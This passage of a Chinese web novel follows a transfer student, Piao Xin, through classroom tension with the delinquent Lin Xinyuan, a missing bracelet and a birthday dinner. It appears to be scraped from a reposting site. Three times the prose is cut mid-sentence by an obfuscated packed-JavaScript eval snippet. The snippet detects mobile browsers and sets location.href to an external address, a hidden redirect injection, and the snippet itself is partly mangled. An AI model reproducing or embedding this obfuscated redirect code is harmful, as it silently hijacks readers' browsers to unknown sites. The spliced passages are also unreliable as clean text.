后面的林昕远倒是一直在睡，大课间也没动静，到了第三节下课朴芯才听见他拉椅子的声音。 他醒了好像什么都没干，后面一直很安静。 下面两节课是班主任的生物课，刘华连进来发了张试卷，说让他们当堂写。 这次课代表尽职尽责地给后面的林昕远也发了试卷，朴芯拿着试卷转头，犹豫着要不要给他。 林昕远正靠在椅背上，他没说不要也没伸手接，就微眯着眼盯着朴芯看，似乎在故意看她下一步会怎么做。 一定有人曾说过林昕远的眼神特别锋芒逼人，他的睫毛不长，但是特别密，密密匝匝地在眼瞳上方遮出一小片阴翳，黑沉凌厉。 盯人的时候让人感觉像是一根根细碎的冰针往皮肤里扎，朴芯很快感觉到无所适从。 她在林昕远的眼神下匆匆把试卷放在他面前。 刚放下，手还没来得及拿起来，林昕远一把攥住她的手腕，“你不是说不会再给我留试卷？” 朴芯愣住了，下意识地抽手，但是没抽开。 他摁得特别紧，手腕那一圈四叶草牢牢地嵌入皮肤，有些疼，但朴芯没敢皱眉。 她张张嘴，尽量自然的解释：“可是课代表给你发试卷了。” “我不想写，”林昕远说。 朴芯心想你不想写放着吧，反正大家好像都习惯你不写作业也不上课了。 可是没有说出来。 台上的班主任终于发现这边的异常，他站在讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387074|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台上冲这边说道：“极个别的人，啊，要注意场合，不要在教室为难同学，老师很痛心这样的学生，啊很痛心。” 林昕远松开手，吩咐说：“给我拿支笔。” 朴芯照做，回头给他找了支黑笔放在桌上。 再回过头，教室已经安静下来了。 周围只剩下写字的沙沙声，朴芯拿起笔，宽松的手链往下滑，露出手腕上被摁出的四叶草印记。 红痕中间浅边缘深，清晰明了地围着腕骨绕了一圈。 朴芯在这一刻不合时宜地想起了四叶草的涵义 ——“hope” * 林昕远不愧是混子，考试考到一半，刘华连走了，后排的学生交头接耳的抄答案，他也起身。 朴芯还以为他要找人抄答案，结果林昕远一拉窗户，手臂撑着窗台，直接从教室里翻出去了。 “……” 这个太不走寻常路了，朴芯震惊之余不免抬头看了他一眼。 陇高的教学楼左右都有走廊，朴芯的位置是靠着校外的一侧窗户，平时这边的走廊基本不开放，地上一层灰。 也就是这时朴芯知道他还抽电子烟，耳边戴着黑色环形耳钉，眼睛稍眯，看着不像好人。 他和朴芯对视了一秒，又移开眼，对着学校外堂而皇之地开抽。 他抽了一会，刘华连的身影出现在门口，教室后面的交头接耳声立马止住，每个人都正襟危坐地认真写试卷，只有林昕远，还在外面。 刘华连有种就要算遇到了学生在打架斗殴，他也会说一句“啊同学们跳舞呢，接着跳吧，老师走了”的和事佬气质。 他过来溜达了一圈，看见了林昕远站在窗外问：“你站那干什么？” 朴芯听见林昕远说，“考烦了，出来散心。” “哦——” 刘华连说：“散完了一会进来，把试卷做做。晚上有没有事，轮到你打扫卫生了。” 林昕远说没事，刘华连说指指朴芯：“就你们俩，还有前面的吴若莹，你们几个一起，都是一个值日小组的吧。” 吴若莹说是的，嘱咐完这件事刘华连便背着手又晃悠出去了，这次他一走，到下课也没回来，第五节课上课铃响，课代表起来收试卷。 朴芯把自己的试卷交给前桌，顿了下，回头看后面的林昕远。 他身上有股薄荷烟味，靠着墙壁侧坐，连手机都没玩。 朴芯看他试卷都是空白的，就没收他试卷。 下课打扫卫生林昕远也没动，罗茜和乔宇他们过来找他，值日全是乔宇和朴芯他们做的。 罗茜脱了校服，里面穿着一件斜肩T恤，手撑在课桌上和林昕远聊天。 朴芯在前面拖地，只能模糊的听见一两句。 罗茜的声音很酥，“你今天要去哪？” “有你什么事？” “我可以去陪你。” 林昕远嗤笑了一声，“我用得着你陪？后面排队去。” …… 等朴芯这边搞完卫生，回头拿书包时看见林昕远的手搭在桌上，罗茜离他很近，肩膀微低，几乎就要碰到他的手臂。 乔宇招呼了林昕远一声：“远哥，走不走？” 后者起身，罗茜也跟着起身，扬起脸有点微怒，“喂，你到底要不要我去？” “不要。” 林昕远应该也挺会哄人的，他身上有种魅力，能把所有绝情的话都说的留情三分，不是故意的但胜似有意。 低沉的声音含糊不清，“那地方太乱，你来不了，下次带你。” 罗茜哼笑了声，“行啊。” 朴芯早在他们说第一句话的时候就背着书包去外面等着了，林昕远他们先出来，路过朴芯，很重的薄荷烟味飘了一会，很快又趋近于无。 5. 第 5 章 林昕远上学很随意，基本是三天打鱼两天晒网，来不来学校全凭心情，来了要么去隔壁班找乔宇，要么是在本班睡觉。 他往那一趴能从上午睡到下午，睡醒了就找地方抽烟。 各科老师都不管他，他也不写作业，估计也不听课，就很混子作风。 罗茜时常会来一班找他，朴芯偶尔能从吴若莹的八卦中听到些关于她和林昕远的事情。 林昕远是陇县本地人，初中在一高旁边的附中读的，从初中开始就是名传陇县的混子。 他人长得帅，会打架，一挑三一挑四这种都是家常便饭的小意思。据说他初二的时候有个高年级的学长看不惯他这么狂，想找他事，背后阴了他一次。 被林昕远追到学校，就在班级里，当时那学长的老师还在班上，林昕远抄起凳子对着人家头砸，硬生生给学长打到跪地求饶，震惊全校。 学校把处分通知书当试卷给他发，但林昕远依旧我行我素，到高中之后他的名声彻底传开，基本老师和领导都不怎么管他。 不过林昕远虽然不学无术，但架不住人长得帅，所以谈过不少对象，校内校外的都有，校外的比较多。 罗茜是上个月才和他在一起的，也说不好到底有没有在谈恋爱，反正总是在一起玩，和谈恋爱也没差。 一班和二班紧挨着，又没有老师管串班的事情，基本只要林昕远在一班，罗茜每节下课都会来找他。 如果看到他在睡觉罗茜就会和前面的朴芯说几句话，让她放学自己回去或者是借作业抄。 如果林昕远在醒着，罗茜就会坐在他旁边的空位上和他聊天。 聊的话题很多，作业学校、游戏或者是朋友间的八卦。 林昕远的话少，基本罗茜说七八句他才应一句，而且来找他的女生不止罗茜一个。 还有三四个人朴芯都不认识，她们也不常来，所幸几个人从来没有相互撞见过。 罗茜后来还知道了林昕远握朴芯手腕的事情，当时是在车上，她坐在朴芯旁边，前倾着身体回头看朴芯问：“林昕远握你手腕了？为什么？” 朴芯赶紧解释：“之前我刚去班级不知道后面坐的是他，给他留了试卷他不想写，可能是生气了。” 罗茜哦了一声，她上下打量朴芯几眼说：“你以后离他远点。” 朴芯不太喜欢别人这样看自己，但还是认真点头。 其实她本来和林昕远接触的机会就不多，上次那张生物试卷她做的很差。 朴芯每天晚上熬夜学生物，第二天去教室还要接着背知识点，基本不会有时间和他说话。 时间一天天过去，气温逐渐降低，十一月初下了场大雨，陇县正式立冬。 朴芯对转学后的生活谈不上多适应，陇县的天气干燥，她总是犯鼻炎，周二起床更是感觉自己有些鼻塞感冒。 朴芯有过敏性鼻炎，基本每次换季的时候都会犯，特别是春季花粉柳絮多的时候。 周婵带她看过大大小小的医生，都没有根治。 每年她开始咳嗽的时候周婵都会提醒她带药，在学校要多喝水，有时候还会带她去医院做雾化。 朴芯很抗拒做雾化，每次去之前周婵都会先答应她的一大堆条件，新裙子新玩具，放假了要去什么地方旅游，明天会带她去哪里吃饭等等。 但就这样朴芯也不愿意去，经常在家里拖时间不出门，周婵会说她是小讨厌鬼，连哄带骗才能带她去医院。 现在周婵不在了，朴芯自己倒是想起来要喝水吃药，然后戴上口罩去学校。 今天林昕远也来学校了，他难得一大清早就坐在教室，捏着那只兔子在写作业。 朴芯还以为自己感冒眼花了，走近了才发现确实是作业，只不过是在抄不是在写，而且抄的很随意，感觉像是没事干在玩一样。 他抬头往朴芯着瞅了一眼。 天气冷，但林昕远还是只穿了一件黑色T恤，他好像剪头发了，发型更利落，衬得五官也更加出色。 朴芯很快低头，坐回座位。 窗外天气还阴沉着，林昕远总是在外面抽烟，这边的窗户基本不怎么开，只能听见外面风在呼啸，树枝低垂摇摆。 第一节是英语早读课，她从桌肚里拿书，刚翻开，愣神片刻。 原本整洁的书页上有几个灰色的脚印，可能踩上去的时候沾上水了，干了后书页泛皱。 大概率是昨天值日生拖地的时候不小心把书弄掉了，朴芯大脑有点昏，也没有多想，扯了张纸慢慢地擦着。 正擦着，旁边的吴若莹问：“朴芯，你物理作业写了吗，借我抄。” “好，我找给你，”朴芯把英语书搁在一边，低头找物理作业。 吴若莹看到她书上的脏印子问：“你书怎么了？” 朴芯找到了作业，边递给她边说：“可能谁不小心踩到了，没事我擦擦就好了。” “哦，”吴若莹说：“你注意把书放好。” “好的，谢谢。” 早读之后天气还没变好，昏沉的天气中后排睡倒一大片，朴芯咳嗽两声，仍然坚持着听课。 上完四节课，中午她没去食堂，拆了片面包吃完睡觉。 后排的林昕远早上出去抽烟到现在还没回来，朴芯浑浑噩噩地趴在桌上睡了一会。 刚睡不久，听到周围的讨论声。 “我所有的地方都找了，就是不见了。” “放在教室里怎么会不见，你到底有没有带到学校？” “绝对带了！” “……该不会被人拿了吧，中午谁在教室？” …… 那边的声音低下去，很快有人走过来推朴芯的肩膀，“朴芯，醒醒！朴芯！” 朴芯还困着，从桌子上抬起头戴上口罩，一觉起来后她的感冒更严重了，说话时嗓子干哑，低闷地问：“怎么了？” 叫她的女生朴芯不熟悉，也从来没说过话，但知道对方的名字，叫叶然，她背后还有四五个人，都是坐在走廊靠窗那一侧的学生。 朴芯问完，叶然后面的几个女生推推搡搡，有人往叶然的肩膀推了一把，她随即开口问：“你中午没去食堂一个人在教室？” “嗯，我刚才在教室睡觉，”朴芯说。 叶然往她桌上敲了两下，问道：“那你看见陶西红的手链了吗？” 朴芯大脑昏胀，反应迟钝地如实回答：“没有。” “没有吗？”叶然提高声音，“就你一个人在教室你怎么可能没看见？” “抱歉，我刚才一直在睡觉没有注意过那边，”朴芯还没意识到对方想说什么，以为是她们着急在找东西，一边解释一边提醒：“教室里有监控你们可以去找找。” “你——”叶然猛然拍了桌子。 朴芯实在难受，她压根没见过陶西红的手链，而且本身坐的离叶然她们也比较远，平时和这几个女生压根没有交际。 问旁边的学生不是更方便吗，干吗千里迢迢来问她？ 她重新趴下想再睡一会，沉闷地说：“你们到别的地方找吧，我要睡觉了。” 但叶然还想再说话，她气势汹汹地质问，“你还睡什么，拿……”刚说半句，旁边的窗户猛然被拉开。 先传进来的是一股混合着湿冷气息的薄荷烟味，林昕远只要抽电子烟就是这个味道，冷冽清凉，薄荷味过后才会是烟草侵略的重味。 朴芯没想到他会在外面，但太困了也不想睁眼，依旧趴在桌上睡觉。 林昕远不耐烦地问：“我抽个烟你们吵什么？” 他在学校的名声不怎么样，班上的同学也都很怕他，林昕远话一落音周围立即安静下来。 叶然嗫嚅着解释：“陶西红的手链不见了，朴芯刚才在教室，我问问她。” “我刚才也在，你用不用也问问我？” “……” 自然不可能有人敢问林昕远，叶然支支吾吾的说不出话，和后面几个人相互推推搡搡，很快就散了。 林昕远在窗台上敲了几下电子烟，他没关窗，外面冷风呼啸，朴芯今天多穿了一件外套却仍然觉得冷。 她扯紧衣服，以为林昕远去旁边抽烟忘记关窗了，就昏沉地伸手打算把窗户关上。 手先伸出去才睁眼，刚睁开眼却看见林昕远就在窗边站着，朴芯的手差一点就要碰到他。 天色灰蓝，乌云密集低垂，他眼睛微眯，神情看起来格外不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387075|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爽。 朴芯瞌睡顿时醒了一半，下意识地坐直身体。 她的手指很细，骨节微微泛红，口罩遮了大半张脸，露出的眼睛干净分明，纯粹到没有一点杂质。 林昕远扯了下嘴角，问：“你是不是脑子有问题。” 朴芯：“……” 她不懂为什么林昕远每次都要这样说自己，就因为当时在巷子里向他问路打扰到他了吗？ 或许是感冒让她有点没那么容易控制情感，朴芯忽然觉得有些委屈。 她鼻尖泛酸，但是没有眼泪，毕竟不是谁都会像周婵会宠着她的脾气。 朴芯轻眨了下眼，也不管窗户了，重新低头，把脑袋埋进臂弯里，安静一会，才呼吸，流泪。 * 到下午终于下雨了，瓢泼大雨往下流，窗户上一道道水印划过玻璃。 大课间学校广播通知今天不出操，罗茜来班上找林昕远，他们俩在后面聊天，过了几分钟乔宇和几个男生也来了。 他们商量着去哪里玩，嬉笑声、打趣声一直没断过。 朴芯翻着生物笔记背书，背了一会实在静不下心，起身打算去外面找个地方背书。 走廊上人很多，朴芯在左右楼梯连通的转角背书。 雨仍旧在下，她翻开书，刚背第一句旁边有人叫她名字：“朴芯。” 朴芯往左边看，是今天中午找手链的女生，陶西红。 朴芯转身问：“你找我还有事吗？” 陶西红个子不高，体型瘦，穿着淡蓝色的整个人很细，只有眉毛有些不合时宜的浓重，显得十分突兀。 她走过来问：“朴芯，你手链能借我一天吗？” 朴芯困惑：“你要借这个干吗？” 陶西红踌躇着说：“我手链不见了，回家我妈会怪我，就借一天，等我找到了就还你。” 朴芯的手链是去年周婵送的生日礼物，那也是周婵陪她过的最后一个生日。 出于私心，朴芯不太想借出去，但陶西红的表情诚恳又忐忑，似乎真的在担心爸妈的责骂。 之前朴芯住在朴兴南家的时候也因为一些事被责怪过。 当时是朴兴南的妻子让她带小女儿出去玩，但那个小孩很调皮，走着走着摔了一跤，膝盖破了点皮，回去朴兴南问她是不是故意不管小孩。 朴芯当时既觉得很荒谬，也有被骂的惶恐和不安，她很能理解这种感觉。 但是这毕竟是周婵送给她的礼物。 朴芯还在犹豫，陶西红又说：“就两天，我找到了马上还你，要是找不到我就去网上买个仿的，等到货了就还你，朴芯，求求了。” 朴芯攥了下手指，终于还是点头，她把手链小心地摘下递给陶西红：“周五之前你要还我，别弄坏了。” “好，”陶西红立马拿过手链：“谢谢，你背书吧，我先回教室了。” 她走后朴芯又背了会书才回教室。 窗户边陶西红正在和叶然她们说话，朴芯看见她晃了晃手里的手链。罗茜也还在教室，正坐在林昕远旁边的空位上和他说话。 不知道说了什么，罗茜捂嘴轻笑，说他：“你干嘛找别人，我不行吗？” 乔宇接话：“人家助教真会打球，你又不会打台球，行个p啊。” 罗茜踹他，“我跟林昕远说话你插什么嘴？” “你说的太搞笑了，远哥说让助教带我们玩，你又不会打台球你还老是要去，滚滚。” …… 朴芯坐回座位，离上课就两分钟，罗茜在乔宇的催促下起身。 她刚要走，又想起什么，对着朴芯说：“你晚上自己回家，我不跟你一起。周五我过生日，你记得来哈。” 自从林昕远时不时地来上学之后罗茜放学就经常不和朴芯一起走。 她习惯性的抬头说好。 她们走后预备铃响起，教室里逐渐安静，朴芯拿杯子喝了口水，后面林昕远忽然踹了下她的椅子。 朴芯在坏掉的椅子腿下垫了一本没用的教材，但椅子腿还是稍微短一截，本来坐上去就有点晃，林昕远一踹就更晃了。 朴芯回头看他。 林昕远扬扬下巴，问：“你手链呢？” 6. 第 6 章 林昕远之所以会问这个问题倒不是他多关心朴芯，纯粹是因为她戴那个手链很显眼。 她皮肤白，手腕也细，绿色的孔雀石在白皙的皮肤上被衬得格外瞩目。 基本每次上课，她时不时的写字，拿书，林昕远都能看到那条金色的链子接着四叶草，在她伶俜的腕骨上晃。 晃得很赏心悦目，反正林昕远会多看几眼。 他这几天一直习惯性地往人家手上瞄，所以朴芯手链不见了他第一个察觉到。 但朴芯根本就不想和他说话，她不太懂为什么林昕远对她有种莫名其妙的敌意。 她从手臂间的空隙里抬起眼，本来想说“又不管你的事”，可是话到嘴边努力维持客气，简短开口：“我不想戴了。” 其实这句话说的也不客气，因为这句不想戴明显是假的。 她好几天都带着这个手链，怎么可能现在突然不想戴了，摆明了是在敷衍。 艹，这好学生分不清好歹吗。 林昕远的目光在朴芯的脸上停留了几秒，面前的人摘了口罩，嘴唇发白，但脸颊却有些红润，林昕远晃了下他桌上唯一一只笔——这是朴芯的，他没还。 晃了两下，还是忍不住心里冒火。 林昕远压声笑了一下，班主任踩着点进教室，他冲朴芯招招手，咬牙切齿，“过来。” 朴芯没动，林昕远火得很明显，扬手把笔扔到她桌上，他力气不小，黑笔砸到桌上反弹了下，崩到朴芯的手臂。 隔着衣服手臂上传来瞬间轻微的疼痛感，朴芯甚至还没反应过来，林昕远往前探身，伸手抓住她肩膀把她往后带，不容挣脱的力量扣在肩膀上，朴芯猝不及防猛然往后倒，还是最后一刻抓住桌沿才稳住身形。 她以为林昕远要动手，但没有，他手往上移扣住朴芯的脖颈，谈不上多狠厉的声音，但语气很低沉。 “你这种人，没有我会死的很惨。” 在周婵去世之前，她曾经让朴芯来见过她一面，她坐在轮椅上，背对着朴芯一字一句的叮嘱，以后要经常和哪位阿姨多联系，有事情可以找谁，要时常笑，好好生活。 周婵说的话在朴芯这里是最后一道屏障，她绝不允许别人破坏这份仅剩的支撑。 朴芯几乎是立即抬眼，直视着他说：“我怎么样都不管你的事，请你别自作多情。” 她还感冒，声音闷哑。 林昕远手指在她颈边贴着，收紧，能感觉到她脖颈上的血管在跳，一下一下顶撞着皮肤，温度也高得吓人。 教室里已经有人转头了，但刘华连充分发挥他和事佬的特质，充耳不闻地翻开书， “同学们，打开课本，今天我们要上的内容是减数分裂……” 林昕远又低低地笑了声，拉着她靠近自己，露出的牙齿很尖，森然凉薄，像白鲨。 甚至时隔很多年，朴芯仍旧能记起他说话的语气，笃定中带点无所谓，说：“我等着朴芯，有那一天你别求我。” 他说完猛然地放手，从课桌里拿起烟盒和打火器一把塞进口袋，然后起身出门。 教室里静了片刻，有学生在回头看这边，朴芯转过头，低头捡起掉在地上的笔，涩意蔓延。 她忍了忍眼泪，过了几分钟才直起身，假装如无其事地戴上口罩。 讲台上，刘华连接着讲课，“这个减数分裂，首先细胞核……” 一整天都在下雨。 朴芯有些心不在焉，在她过往的经验里，大部分时候友谊是一件真心换真心的事情，毕竟伸手不打笑脸人，只要自己对别人不差，不主动惹事，那别人也不会来找她麻烦。 而且周婵也教她要多交朋友，多笑。 可是林昕远的恶意直白、简单，完全不是朴芯可以掌控的，她过往的那些社交法则对林昕远也全都没用。 朴芯想尽量避免再和他有交际，这说起来也简单，毕竟两人实在没什么共同话题，他也不经常来学校。 除了某些时候，比如罗茜放学后会去找他，连带着朴芯也能看到他。 雨连续下了好几天没停，朴芯的感冒也没好，她终于在周三这天请了半天假。 下午的半天没有生物课，刘华连批假极其随意，甚至连问都没问，直接在假条上签字了。 朴芯回到教室收拾好东西，还要去隔壁班和罗茜说自己请假的事情。 罗茜正在粘假睫毛，她周围还有几个女生围着她说话，朴芯等了一会才上前和她说今天请假要早点回家。 罗茜随意点头，说道：“行，你先回去吧。” 刚出校门的时候雨稍微停了，朴芯撑着伞回家，半路雨势却又加大，她到家衣服湿了一半。 朴芯去洗澡换衣服，然后喝药准备睡觉。 她整个大脑都是昏的，鼻子也塞，躺在床上睡了一会，不知道过了多久，手机忽然响了。 朴芯翻身接电话。 是罗茜，她喂了几声，问朴芯：“你在家吗？能来学校给我送把伞吗，我忘记带伞了，一会可能要下雨。” 朴芯抬手揉额头，说好。 罗茜赶紧说：“我在奶茶店门口等你，多带两把伞。” 朴芯挂了电话后才看时间，已经是晚上六点半了，她起床换衣服拿伞去学校。 一高附近有几家名字擦边大牌奶茶店的店铺，卖的都是自制饮品。 朴芯去的时候沿街的店里人还很多，一到校外原本还收敛着的学生终于不用隐藏了，染发的，纹身的，戴耳钉的都有。 外面飘着小雨，镇上的排水设施不好，地面上一层积水，有好几个男生蹲在消防栓上，门口还停着几辆机车。 罗茜站在路口，裹着一件牛仔外套等朴芯。 乔宇也在地上找了块干净的地方抽烟，他眼尖，一下先看见朴芯了，往前点点下巴跟罗茜说：“哎，那个是不是朴芯？” 罗茜也跟着他看，朴芯撑着伞带着口罩正往这走，她点头说道：“来的这么快。” “你叫的人家来的能不快吗？”乔宇这半个月也经常能见到朴芯，对她印象比较好。 罗茜是什么性格他也知道，说一不二爱使唤人，他说道：“她性格不错嘛，这都不生气。” 罗茜说：“生气有什么用，你少烦啦，心疼她啊？” 乔宇无语的翻白眼：“我心疼你，一天到晚担心这个担心哪个，精力够不够用。” “要你管，前几天赵云琦还问我咱们学校是不是有个新转校生，长得很漂亮，让我介绍。” “你省省吧，”乔宇说：“别把人往火坑里推，那洪强不纯混混吗。” “我又没答应。” 罗茜看着朴芯过来的方向，又想起什么了，问道：“林昕远有没有和你说过她，前几天我听说他在教室和朴芯发火了。” 乔宇更加无语，说道：“你担心她和远哥有什么还不如担心黎安她们，而且你又不是远哥女朋友，别管这么多行吗？” 罗茜笑着骂了她一声，朝路口边张望，不过不是在看朴芯，边看边问：“他人呢，什么时候来？” “马上，手机落教室了，拿了就回来。” “哦。” 远处朴芯撑着伞走近，看见了裹着牛仔外套的罗茜。 她身边还有好几个人，男生女生都有，朴芯就认识一个乔宇，林昕远的机车也在，但他人不知道在哪。 罗茜拿过伞，让乔宇去点奶茶。 后者正蹲在地上抽烟，他之前也见过朴芯几次，对她的印象比较好，回头笑着问：“妹妹你想喝什么，随便点，都远哥请客。” 朴芯拒绝：“不用了，我不想喝。” 她拒绝得很干脆，乔宇在隔壁班，这几天其实也听到点风声，他开玩笑地问：“该不会是因为远哥要请你不喝吧，你们之间到底怎么了？” 朴芯摇头，又点头，她友善地笑笑，隔着口罩也能让人感觉到她笑容的明净和温和。 她的打扮并不过分朴素，相反能明显看出来衣服质感都很好，糯色的正肩外套，灰绿色的短裙和长袜，搭配得格外漂亮，像要赶去街拍一样。 乔宇没搞懂，但也看出来总归是有远哥的原因，所以没再多说，聊了几句他们进去点奶茶，朴芯回家。 * 晚上。 乔宇把罗茜她们都送走，进到台球室的包间里面，林昕远还在喝酒，他毫无形象地躺在角落的破皮沙发上，地上都是酒瓶。 旁边还有两三个人在拿着球杆打球，乔宇叫他的名字，林昕远从沙发上摸起烟，“嗯？” “人我都送回去了，”乔宇说：“感觉罗茜舍不得走，刚才吃饭的时候人家眼睛都长你身上了。” 林昕远嗤笑一身，说：“长就长呗，你管她。” 他叼着烟，又去摸打火机，灯光从上往下洒在他脸上，一张脸照得明白，眉眼鼻唇无一不锋利，是带着戾气的感觉。 黑色的圆环耳钉卡在耳侧，更是增加了几分凌厉感。 他说不管的意思就是不在乎，乔宇也懂，坐下又说：“今天下午那会还见到转校生了，来给罗茜送伞。” 乔宇也拿了根烟抽，说：“她长得真漂亮，不过远哥你怎么人家了，我说你请奶茶，她说什么都不要。” 林昕远往外吐烟圈，烟雾从嘴边横斜溢出，他轻轻应了一声：“嗯？没怎么她。” “你没怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387076|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么她？！”乔宇不信，“真的假的，你知道外面现在都怎么传吗？” “传什么？” “传你强吻人家。” 林昕远这下彻底笑了：“滚，md我闲着没事干了？” 乔宇说：“我看她那态度，比这还夸张，听到你就摇头。” 林昕远没说话，接着抽烟。 过会，乔宇看他没动静，问：“你今天就在这？阿姨不叫你回家？” 林昕远说：“懒得回，别烦了。” 他愿意躺在这就躺在这，乔宇也管不了，反正林昕远一直这样，他前十几年没人管，非常耐活，经常走到哪就合衣一睡就完了。 不过乔宇还是问了句：“阿姨不是说带你回浦江吗，什么时候走？” 林昕远抽完烟，垂首把烟摁灭在地板上，不耐烦地说：“不走。” * 一连两天，林昕远都没来上课。 到周五罗茜过生日，让朴芯放学后过去。 今天陶西红本来要还她手链，但又说自己买的手链还没到，只能下周再还给朴芯。 朴芯急着要去送礼物，也没有和她多说，站起来收拾书包说那下周一定要给她。 陶西红赶紧应好。 班上的同学走的差不多了，朴芯背上书包去生日会地点。 说是生日会，更像是约朋友一起吃顿饭，大家热闹热闹，开心一下的聚会，地点订的也十分随意，在一处大排档。 陇县一般六点出头就天黑了，街上的路灯稀少，就大排档这边比较热闹，一连好几家小吃店，灯光都比别处的亮。 大排档的老板在店门前扯了个塑料棚，挂上灯泡照明供客人吃饭，走这种简约风卫生环境就一般了，地面都是黑一块灰一块的。 朴芯到的时候人已经坐满了，除了吴若莹都是她不认识的人。 来之前朴芯还想着今天万一见到了林昕远怎么办，没想到他压根没来，乔宇也没来。 今天不用面对他，这让朴芯顿时松了一口气。 但同时也不免有些疑惑，女朋友过生日他都不来吗？ 可也没往深处想，聚餐的气氛还算轻松，朴芯插不上话，把礼物递给罗茜之后就在旁边吃菜，过了会桌上开始喝酒。 朴芯之前也尝过几口红酒，她酒量一般，被劝着喝了两口后很快推辞说不喝了。 陇县这边做饭重辣重盐，桌上每道菜都飘着一层红油辣椒，朴芯被辣得实在不行，起身打算去躺卫生间，再去买瓶饮料漱口。 几家大排档都共用一个厕所，进去之前要通过一个狭窄的巷子，朴芯走进去时刚好一个男生出来，一下撞到朴芯。 她手臂很疼，皱了下眉，但下意识说没事。 正想走，对方却一把拉住她，问道：“看你面生，一高的吧，那个叫朴芯的就是你？” 朴芯惊讶抬眼，面前的男生约莫二十来岁，穿着无袖衫，手臂肩膀上全是花花绿绿的纹身，眼神直往朴芯身上扫。 朴芯感觉不舒服，也没问对方怎么知道她名字，匆匆说了句不是就想走。 洪强却扯着不放，面前的女生皮肤很白，手腕纤细，打眼一看就知道有些不一样。 他摩挲着掌心的皮肤，细腻的触感让人心猿意马，洪强的确不是什么好东西，他挑唇笑，“我怎么看着像？今天晚上难得一见，有没有时间陪我喝几杯，你从哪转学的？” “没时间，”朴芯顿时急了，“我不认识你，请你放手，我朋友都在外面。” 洪强不以为意地哦了几声，往朴芯身后看，“哪呢，叫什么名字，一起来玩好了，你不给我面子？” 厕所离刚才那家大排档还有些距离，朴芯挣手：“罗茜，我和同学来吃饭。” “罗茜啊，我认识，”洪强要拉着她走：“更没事了，来吧你别他妈敬酒不吃吃罚酒。” 朴芯被他握的手腕生疼，又被拽着往他身上倒，她慌张地抬腿对着洪强的膝盖踹了一下，“我不认识你，别碰我！” 洪强疼得皱眉，立马怒了：“谁他妈给你的胆子敢动我？” 他正要给这女生一个教训，边上传来一个不耐烦的声音：“滚开，挡路了。” 洪强和朴芯是同时抬头看的，洪强也是混着一片的，开了个不大不小的酒吧，底下小弟不少，平时人非常狂，见那个不顺眼冲上去就是一顿揍。 他难得被人骂滚，再加上本来就在气头上，抬手就要一拳挥上去。 结果站在面前是林昕远，洪强的手顿时不上不下地卡在那。 林昕远身高至少一米八五，站在面前比洪强高半个头，顶着两人的目光毫无耐心地说，“让开。” 7. 第 7 章 朴芯觉得林昕远的意思可能是你们俩都滚，但面前的男生显然误会了什么，松手笑着撞了下林昕远的肩膀：“兄弟，这你女朋友，换口味了？” 以前跟林昕远他们一起玩的女生都什么洪强也见过，基本都是漂亮会玩那一款的，反正不像现在这个这么温顺的感觉。 朴芯手撑在墙上直起身，林昕远好像此刻才注意到她，侧脸往这看。 自从上次在教室闹的不愉快，他们已经快有一周没见面了。 他之前剪过头发，发尾已经没有黄色了，其他还是老样子，耳钉、黑衣服，表情不太好，眉头微皱，看着很有压迫感。 朴芯被他盯着，顿了下，打招呼：“你好。” 结果林昕远压根没搭理她，他倒是回了洪强，拍拍他的肩膀，似乎有种过会说的意思，然后就直接抬腿往卫生间走。 留下的洪强见他走远，回头看朴芯，眼神不善地盯着她，也许是顾忌着林昕远所以没动手，就问：“你认识林昕远不早说，晦气，靠！” 说完就走了。 就剩下朴芯自己，她垂眼整理被扯乱的衣服，也没接着去厕所就回座位。 回去罗茜她们还在喝酒，没人注意朴芯，经过刚才那个插曲，朴芯也不觉得辣了，但也没有继续吃饭的心情了。 坐了一会，她起身打算和罗茜说自己先走了。 但罗茜见她站起来，也站起来先问：“朴芯，你也去卫生间吗，陪我一起?” 朴芯刚才没去卫生间，想着可以单独和罗茜说声生日快乐，就说好。 她跟着罗茜一起过去，走到半路，旁边有人叫她：“罗茜，这这！” 朴芯听到声音也回头看，那边是一家大排档，人很多，中间站起来一个酒红色外套的女生正朝这边招呼。 罗茜顿时惊喜地说：“你们也在啊，洪强呢？” “他在旁边。”女生低头拍了拍谁的肩膀，“叫你呢。” 走到近处，朴芯才知道她们口中的洪强就是刚才在路口拦自己的纹身男，她顿时不想过去了。 洪强正抽烟，看见两人顿时冷笑了声说：“罗茜你现在这么大方了？” 罗茜不明所以：“我大方什么了？” 洪强指着朴芯说：“这不是林昕远女朋友，你不是正在追他?” “你胡说什么？”罗茜回头看了一眼朴芯讲：“洪强你别有病，林昕远和她根本不熟。” 